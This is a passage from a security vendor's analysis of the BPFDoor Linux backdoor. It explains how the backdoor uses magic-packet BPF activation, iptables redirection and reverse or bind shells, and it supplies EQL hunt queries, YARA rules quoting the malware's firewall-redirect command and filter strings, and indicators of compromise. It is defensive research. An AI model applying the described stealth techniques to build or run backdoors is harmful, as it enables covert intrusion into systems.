<p>That’s where BPF comes in - an extremely efficient, kernel-level packet filter is the perfect tool to allow the implant to ignore 99% of network traffic and only become activated when a special pattern is encountered. This implant looks for a so-called magic packet in every TCP, UDP and ICMP packet received on the system.</p>
<p>Once activated, a typical reverse shell - which this back door also supports - creates an outbound connection to a listener set up by the attacker. This has the advantage of bypassing firewalls watching inbound traffic only. This method is well-understood by defenders, however. The sneakiest way to get a shell connected would be to reuse an existing packet flow, redirected to a separate process.</p>
<p>In this attack, the initial TCP handshake is done between the attacker and a completely legitimate process – for example nginx or sshd. These handshake packets happen to be also delivered to the backdoor (like every packet on the system) but are filtered out by BPF. Once the connection is established, however, BPFDoor sends a magic packet to the legitimate service. The implant receives it and makes a note of the originating IP and port the attacker is using, and it opens a new listening socket on an inconspicuous port (42391 - 43391).</p>
<p>The implant then reconfigures the firewall to temporarily redirect all traffic from the attacker’s IP/port combination to the new listening socket. The attacker initiates a second TCP handshake on the same legitimate port as before, only now iptables forwards those packets to the listening socket owned by the implant. . This establishes the communication channel between attacker and implant that will be used for command and control. The implant then covers its tracks by removing the iptables firewall rules that redirected the traffic.</p>
<p>Despite the firewall rule being removed, traffic on the legitimate port will continue to be forwarded to the implant due to how Linux statefully tracks connections. No visible traffic will be addressed to the implant port (although it will be delivered there).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/network-flows.png" alt="A diagram representing the aforementioned network flows" /></p>
<h2>BPF Filters</h2>
<p>As stated in step 9 (above), <a href="https://www.kernel.org/doc/html/v5.12/networking/filter.html">BPF</a> or Berkeley Packet Filters is a technology from the early ’90s that allows a user-space program to attach a network filter onto any socket and allow or disallow certain types of data to come through the socket. These filters are made up of bytecode that runs on an abstract virtual machine in the Linux kernel. The BPF virtual machine has functionality to inspect all parts of incoming packets and make an allow/drop decision based on what it sees. . You can see in the image example below what this looks like within the BPFDoor source code:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/bpfdoor-source-code.jpg" alt="BPFDoor source code BPF Filters" /></p>
<p>We took this BPF code, converted it, and wrote it up as pseudo code in an effort to aid our research and craft packets able to successfully get through these filters in order to activate the backdoor.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/bpf-pseudocode.jpg" alt="BPFDoor source code BPF Filter Pseudocode" /></p>
<p>The above capabilities allow BPFDoor to attach a filter onto any socket and allow or disallow certain types of data to come through the socket - used carefully by the adversary to invoke a series of different functions within the payload.</p>
<h2>Historical Analysis</h2>
<p>We wanted to see over time, between BPFDoor payloads, what, if anything, the threat actors modified. A number of samples were detonated and analyzed ranging from the uploaded source code to a <a href="https://www.virustotal.com/gui/file/599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683/detection">sample</a> uploaded last month. We found that the behavior over time did not change a great deal. It maintained the same relative attack lifecycle with a few variations with the hardcoded values such as passwords, process names, and files - this is not uncommon when compared to other malware samples that look to evade detection or leverage payloads across a variety of victims.</p>
<p>We posture that the threat group would change passwords and update process or file names in an effort to improve operational security and remain hidden. It also makes sense that the general functionality of the backdoor would not change in any great way. As the saying goes “If it’s not broken, don’t fix it”. Our malware analysis and reverse engineering team compared the source code (uploaded to <a href="https://www.virustotal.com/gui/file/8b9db0bc9152628bdacc32dab01590211bee9f27d58e0f66f6a1e26aea7552a6/detection">VirusTotal</a> and found on <a href="https://pastebin.com/raw/kmmJuuQP">Pastebin</a>) to a recently uploaded sample highlighting some of the notable changes within the main function of the malware in the images below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/pastebin.jpg" alt="A side by side comparison of the main functions for the Pastebin source code and a sample uploaded to VT last month focusing on the hardcoded string values for the passwords, process names and file name" /></p>
<p>As we mentioned earlier, one recent <a href="https://www.virustotal.com/gui/file/07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d/detection">sample</a> we have come across that does not seem to exhibit some of the tactics of prior payloads has been observed - It doesn’t alter its initial name to a hardcoded value and simply executes from its placed location, otherwise, it models relatively the same behavior.</p>
<h2>Linux Malware Sophistication</h2>
<p>A trend we have had the privilege of observing at Elastic, is the threat landscape of Linux targeted attacks - these being focused often on cloud workloads, or systems that typically have less observational technology configured in many of the environments we see. The trend of complex, well-designed payloads is something that is often simply overlooked, and specifically in the case of BPFDoor, remained hidden for years.</p>
<p>It is important to consider these workloads a critical component of your security posture: A lack of visibility within cloud workloads will eventually lead to large gaps in security controls - adversarial groups are further growing to understand these trends, and act accordingly. Best practices state that endpoint defenses should be consistent across the fleet of systems under management, and conform to a least privilege architecture.</p>
<h2>Detection of BPFDoor</h2>
<p>After researching this malware it became apparent as to why the backdoor remained in use and hidden for so long. If you aren’t intimately familiar with Linux process abnormalities or weren’t looking for it you would generally not detect it. Even though it takes advantage of Linux capabilities in a stealthy manner to evade detection, there are still opportunities for both behavioral and signature-based detections.</p>
<p>The first area of opportunity we witnessed while testing was the behavior we observed during the initial execution of the malware, specifically its working directory, in a shared memory location /dev/shm. This is a native temporary filesystem location in Linux that uses RAM for storage, and a binary executing from it let alone generating network connections is fairly uncommon in practice.</p>
<p>During execution, BPFDoor removes existing files from /dev/shm and copies itself there prior to initialization. A detection for this would be any execution of a binary from this directory as root (you have to be root to write to and read from this directory).</p>
<p>This was verified by detonating the binary in a VM while our Elastic Agent was installed and observing the sequence of events. You can see an image of this detection on the Kibana Security Alerts page below. This rule is publicly available as an Elastic SIEM detection rule - <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_process_started_in_shared_memory_directory.toml">Binary Executed from Shared Memory Directory</a>:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/Elastic_Alert_in_Kibana_-_Binary_Executed_from_Shared_Memory_Directory.png" alt="Elastic Alert in Kibana - Binary Executed from Shared Memory Directory" /></p>
<p>The second opportunity we noticed, for detection, was a specific PID file being created in /var/run. We noticed the dropped PID file was completely empty while doing a quick query via the <a href="https://docs.elastic.co/en/integrations/osquery_manager">Osquery integration</a> to the /var/run directory. While this is not inherently malicious, it is unusual for the file size of a PID to be 0 or above 10 bytes and thus we created an additional rule centered around detecting this unusual behavior.</p>
<p>Our <a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_abnormal_process_id_file_created.toml">Abnormal Process ID or Lock File Created</a> rule identifies the creation of a PID file in the main directory of /var/run with no subdirectory, ignoring common PID files to be expected:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/abnormal-process.png" alt="Elastic Alert in Kibana - Abnormal Process ID or Lock File Created" /></p>
<p>The third area we wanted to look at was the network connections tied to two of the three capabilities (reverse shell and bind shell) the backdoor possesses. We wanted to see if there were any suspicious network connections tied to process or user abnormalities we could sequence together based off of the way BPFDoor handles establishing a reverse or bind shell.</p>
<p>The reverse shell was the first capability focused on. Taking a deep look at the process tree in and around the reverse shell establishment allowed us to key in on what would be considered a strange or even abnormal sequence of events leading to and involving an outbound network connection.</p>
<p>We developed a hunt rule sequence that identifies an outbound network connection attempt followed by a session id change as the root user by the same process entity. The reason we developed these network focused hunt rules is due to possible performance issues caused if running these continually.</p>
<p>The bind shell was the last capability we honed in on. Identifying an abnormal sequence of events surrounding the bind shell connection was difficult due to the way it forks then accepts the connection and kills the accepting process post established connection. Therefore we had to focus on the sequence of events within the process entity id directly involving the network connection and subsequent killing of the accepting process.</p>
<p>After developing the 2 detection rules along with the 2 hunt rules listed below and in addition to the 6 YARA signatures deployed we were able to detect BPFDoor in a myriad of different ways and within different stages of its life cycle. As stated earlier though, if you detect this malware in your environment it should be the least of your concerns given the threat actor will most likely have already successfully compromised your network via other means.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/complete-bpfdoor.png" alt="Elastic Detection Summary of complete BPFDoor attack lifecycle" /></p>
<h3>Existing Detection Rules</h3>
<p>The following Elastic Detection Rules will identify BPFDoor activity:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_abnormal_process_id_file_created.toml">Abnormal Process ID or Lock File Created</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_process_started_in_shared_memory_directory.toml">Binary Executed from Shared Memory Directory</a></li>
</ul>
<h3>Hunting Queries</h3>
<p>This EQL rule can be used to successfully identify BPFDoor reverse shell connections having been established within your environment:</p>
<p><strong>EQL BPFDoor reverse shell hunt query</strong></p>
<pre><code>sequence by process.entity_id with maxspan=1m
[network where event.type == &quot;start&quot; and event.action == &quot;connection_attempted&quot; and user.id == &quot;0&quot; and not process.executable : (&quot;/bin/ssh&quot;, &quot;/sbin/ssh&quot;, &quot;/usr/lib/systemd/systemd&quot;)]
[process where event.action == &quot;session_id_change&quot; and user.id == &quot;0&quot;]
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/attempt-by-root.png" alt="Elastic Alert in Kibana - Suspicious Network Connection Attempt by Root" /></p>
<p>The hunt rule we created here identifies a sequence of events beginning with a session id change, followed by a network connection accepted, in correlation with ptmx file creation and a deletion of the process responsible for accepting the network connection. This EQL rule can be used to successfully identify BPFDoor bind shell connections within your environment:</p>
<p><strong>EQL BPFDoor bind shell hunt query</strong></p>
<pre><code>sequence by process.entity_id with maxspan=1m
[process where event.type == &quot;change&quot; and event.action == &quot;session_id_change&quot; and user.id == 0 and not process.executable : (&quot;/bin/ssh&quot;, &quot;/sbin/ssh&quot;, &quot;/usr/lib/systemd/systemd&quot;)]
[network where event.type == &quot;start&quot; and event.action == &quot;connection_accepted&quot; and user.id == 0]
[file where event.action == &quot;creation&quot; and user.id == 0 and file.path == &quot;/dev/ptmx&quot;]
[process where event.action == &quot;end&quot; and user.id == 0 and not process.executable : (&quot;/bin/ssh&quot;, &quot;/sbin/ssh&quot;, &quot;/usr/lib/systemd/systemd&quot;)]
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/Elastic_Alert_in_Kibana_-_Suspicious_Network_Connection_Accept_by_Root.png" alt="Elastic Alert in Kibana - Suspicious Network Connection Accept by Root" /></p>
<h3>YARA Rules</h3>
<p>In addition to behavioral detection rules in the Elastic Endpoint, we are releasing a set of BPFDoor Yara signatures for the community.</p>
<p><strong>BPFDoor YARA rule</strong></p>
<pre><code>rule Linux_Trojan_BPFDoor_1 {

    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-05-10&quot;
        last_modified = &quot;2022-05-10&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BPFDoor&quot;
        threat_name = &quot;Linux.Trojan.BPFDoor&quot;
        description = &quot;Detects BPFDoor malware.&quot;
        reference_sample = &quot;144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3&quot;
    strings:
        $a1 = &quot;hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event&quot; ascii fullword
        $a2 = &quot;/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d&quot; ascii fullword
        $a3 = &quot;avahi-daemon: chroot helper&quot; ascii fullword
        $a4 = &quot;/sbin/mingetty /dev/tty6&quot; ascii fullword
        $a5 = &quot;ttcompat&quot; ascii fullword
    condition:
        all of them
}

rule Linux_Trojan_BPFDoor_2 {
    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-05-10&quot;
        last_modified = &quot;2022-05-10&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BPFDoor&quot;
        threat_name = &quot;Linux.Trojan.BPFDoor&quot;
        description = &quot;Detects BPFDoor malware.&quot;
        reference_sample = &quot;3a1b174f0c19c28f71e1babde01982c56d38d3672ea14d47c35ae3062e49b155&quot;
    strings:
        $a1 = &quot;hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event&quot; ascii fullword
        $a2 = &quot;/sbin/mingetty /dev/tty7&quot; ascii fullword
        $a3 = &quot;pickup -l -t fifo -u&quot; ascii fullword
        $a4 = &quot;kdmtmpflush&quot; ascii fullword
        $a5 = &quot;avahi-daemon: chroot helper&quot; ascii fullword
        $a6 = &quot;/sbin/auditd -n&quot; ascii fullword
    condition:
        all of them
}

rule Linux_Trojan_BPFDoor_3 {
    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-05-10&quot;
        last_modified = &quot;2022-05-10&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BPFDoor&quot;
        threat_name = &quot;Linux.Trojan.BPFDoor&quot;
        description = &quot;Detects BPFDoor malware.&quot;
        reference_sample = &quot;591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78&quot;
    strings:
        $a1 = &quot;[-] Spawn shell failed.&quot; ascii fullword
        $a2 = &quot;[+] Packet Successfuly Sending %d Size.&quot; ascii fullword
        $a3 = &quot;[+] Monitor packet send.&quot; ascii fullword
        $a4 = &quot;[+] Using port %d&quot;
        $a5 = &quot;decrypt_ctx&quot; ascii fullword
        $a6 = &quot;getshell&quot; ascii fullword
        $a7 = &quot;getpassw&quot; ascii fullword
        $a8 = &quot;export %s=%s&quot; ascii fullword
    condition:
        all of them
}

rule Linux_Trojan_BPFDoor_4 {
    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-05-10&quot;
        last_modified = &quot;2022-05-10&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BPFDoor&quot;
        threat_name = &quot;Linux.Trojan.BPFDoor&quot;
        description = &quot;Detects BPFDoor malware.&quot;
        reference_sample = &quot;591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78&quot;
    strings:
        $a1 = { 45 D8 0F B6 10 0F B6 45 FF 48 03 45 F0 0F B6 00 8D 04 02 00 }
    condition:
        all of them
}

rule Linux_Trojan_BPFDoor_5 {
    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-05-10&quot;
        last_modified = &quot;2022-05-10&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BPFDoor&quot;
        threat_name = &quot;Linux.Trojan.BPFDoor&quot;
        description = &quot;Detects BPFDoor malware.&quot;
        reference_sample = &quot;76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925&quot;
    strings:
        $a1 = &quot;getshell&quot; ascii fullword
        $a2 = &quot;/sbin/agetty --noclear tty1 linux&quot; ascii fullword
        $a3 = &quot;packet_loop&quot; ascii fullword
        $a4 = &quot;godpid&quot; ascii fullword
        $a5 = &quot;ttcompat&quot; ascii fullword
        $a6 = &quot;decrypt_ctx&quot; ascii fullword
        $a7 = &quot;rc4_init&quot; ascii fullword
        $b1 = { D0 48 89 45 F8 48 8B 45 F8 0F B6 40 0C C0 E8 04 0F B6 C0 C1 }
    condition:
        all of ($a*) or 1 of ($b*)
}

rule Linux_Trojan_BPFDoor_6 {
    meta:
        Author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-05-10&quot;
        last_modified = &quot;2022-05-10&quot;
        os = &quot;Linux&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;BPFDoor&quot;
        threat_name = &quot;Linux.Trojan.BPFDoor&quot;
        description = &quot;Detects BPFDoor malware.&quot;
        reference_sample = &quot;dc8346bf443b7b453f062740d8ae8d8d7ce879672810f4296158f90359dcae3a&quot;
    strings:
        $a1 = &quot;getpassw&quot; ascii fullword
        $a2 = &quot;(udp[8:2]=0x7255) or (icmp[8:2]=0x7255) or (tcp[((tcp[12]&amp;0xf0)&gt;&gt;2):2]=0x5293)&quot; ascii fullword
        $a3 = &quot;/var/run/haldrund.pid&quot; ascii fullword
        $a4 = &quot;Couldn't install filter %s: %s&quot; ascii fullword
        $a5 = &quot;godpid&quot; ascii fullword
    condition:
        all of them
}
</code></pre>
<h2>Interacting with BPFDoor</h2>
<p>The Elastic Security Team has released several tools that can aid in further research regarding BPFDoor to include a network scanner used to identify infected hosts, a BPFDoor malware configuration extractor, and a BPFDoor client binary that can be used to actively interact with a sample.</p>
<h3>BPFDoor Scanner</h3>
<p>The Elastic Security Team <a href="https://www.elastic.co/pt/security-labs/bpfdoor-scanner">has released</a> a Python script that can identify if you have BPFDoor infected hosts.</p>
<p>The scanner sends a packet to a defined IP address using the default target port (68/UDP)and default interface. It listens to return traffic on port 53/UDP.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/BPFDoor_scanner_tool.jpg" alt="BPFDoor scanner tool" /></p>
<h3>BPFDoor Configuration Extractor</h3>
<p>This tool will allow you to extract configurations from any BPFDoor malware you may have collected. This will allow you to develop additional signatures and further analysis of the malware as well as your environment.</p>
<p>The BPFDoor configuration extractor can be downloaded <a href="https://www.elastic.co/pt/security-labs/bpfdoor-configuration-extractor">here</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/BPFDoor_configuration_extractor.jpg" alt="BPFDoor configuration extractor" /></p>
<h3>BPFDoor Client POC</h3>
<p>Quickly after beginning our research into this malware we realized we would also need to actively interact with BPFDoor in order to observe the full extent of the capabilities that it possesses and monitor what these capabilities would look like from a host and SIEM level.</p>
<p>In order to do this, we had to break down the BPF filters in the BPFDoor source code so we could craft packets for the different protocols. To do this, we used <a href="https://scapy.net/">Scapy</a>, a packet manipulation program, to ensure we could pass the filters for the purpose of activating the backdoor. Once we ensured we could pass the filters, Rhys Rustad-Elliott, an engineer at Elastic built a BPFDoor client that accepts a password, IP address, and port allowing you to connect to a BPFDoor sample and interact if you possess the sample’s hardcoded passwords.</p>
<p>Depending on the password or lack of password provided, BPFDoor will behave exactly the same way it would in the wild. You can invoke a reverse shell, establish a bind shell, or connect to it with no supplied password to receive a ping-back confirming its installation.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/A_preview_of_the_BPFDoor_Client_developed_by_Elastic_Security_to_assist_in_research.jpg" alt="A preview of the BPFDoor Client developed by Elastic Security to assist in research" /></p>
<p>Researchers looking to use BPFDoor can <a href="mailto:threat-notification@elastic.co">reach out to Elastic Security</a> for access to the BPFDoor client POC. Please note that these tools will be shared at our discretion with those in the trusted security community looking to improve the detection of this vulnerability.</p>
<h2>Impact</h2>
<p>The following MITRE ATT&amp;CK Tactic, Techniques, and Sub-techniques have been observed with the BPFDoor malware.</p>
<h3>Tactics</h3>
<p>Tactics represent the “why” of an ATT&amp;CK technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
</ul>
<h3>Techniques (sub-techniques)</h3>
<p>Techniques (and sub-techniques) represent ‘how’ an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1106/">Native API</a></li>
<li><a href="https://attack.mitre.org/techniques/T1133/">External Remote Services</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/">Hide Artifacts</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/">Indicator Removal on Host</a></li>
<li><a href="https://attack.mitre.org/techniques/T1095/">Non-Application Layer Protocol</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/004">Command and Scripting Interpreter: Unix Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/001/">Abuse Elevation Control Mechanism: Setuid and Setgid</a></li>
</ul>
<h2>Source Pseudocode</h2>
<p>To clearly articulate the details of this malware, we’ve created <a href="https://www.elastic.co/pt/pdf/bpfdoor_pseudocode.pdf">two diagrams</a> that outline the specific pseudocode for BPFDoor based on the source code uploaded to VT and found on Pastebin. While this contains a lot of detail, it is simple to understand if researchers choose to further this research.</p>
<h2>Summary</h2>
<p>While threat groups continue to increase in maturity, we expect this kind of mature, well designed and hidden threat will continue to be found within Linux environments. These kinds of findings reiterate the importance of comprehensive security controls across the entirety of a fleet, rather than simply focusing on user endpoints.</p>
<p>BPFDoor demonstrates a perfect example of how important monitoring workloads within Linux environments can be. Payloads such as this are near-on impossible to observe and detect without sufficient controls, and should be considered a moving trend within the general adversarial landscape.</p>
<h2>Observables</h2>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Reference</th>
<th>Note</th>
</tr>
</thead>
<tbody>
<tr>
<td>/dev/shm/kdmtmpflush</td>
<td>process name</td>
<td>BPFDoor process name</td>
<td>Observed process name of BPFDoor</td>
</tr>
<tr>
<td>/var/run/haldrund.pid</td>
<td>file name</td>
<td>BPFDoor file name</td>
<td>Observed BPFDoor PID file</td>
</tr>
<tr>
<td>/var/run/kdevrund.pid</td>
<td>file name</td>
<td>BPFDoor file name</td>
<td>Observed BPFDoor PID file</td>
</tr>
<tr>
<td>/var/run/xinetd.lock</td>
<td>file name</td>
<td>BPFDoor file name</td>
<td>Observed BPFDoor lock file</td>
</tr>
<tr>
<td>74ef6cc38f5a1a80148752b63c117e6846984debd2af806c65887195a8eccc56</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>2e0aa3da45a0360d051359e1a038beff8551b957698f21756cfc6ed5539e4bdb</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
<tr>
<td>4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d</td>
<td>SHA-256</td>
<td>BPFDoor malware</td>
<td></td>
</tr>
</tbody>
</table>
<h2>References</h2>
<ul>
<li><a href="https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896">https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896</a></li>
<li><a href="https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf">https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf</a></li>
<li><a href="https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group">https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group</a></li>
</ul>
<h2>Artifacts</h2>
<p>Artifacts are also available for <a href="https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt294e7cd5c4b8a050/628e88d93b9b8554904a703c/bpfdoor-indicators.zip">download</a> in both ECS and STIX format in a combined zip bundle.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/blog-security-detection-720x420.png" length="0" type="image/png"/>
        </item>
    </channel>
</rss>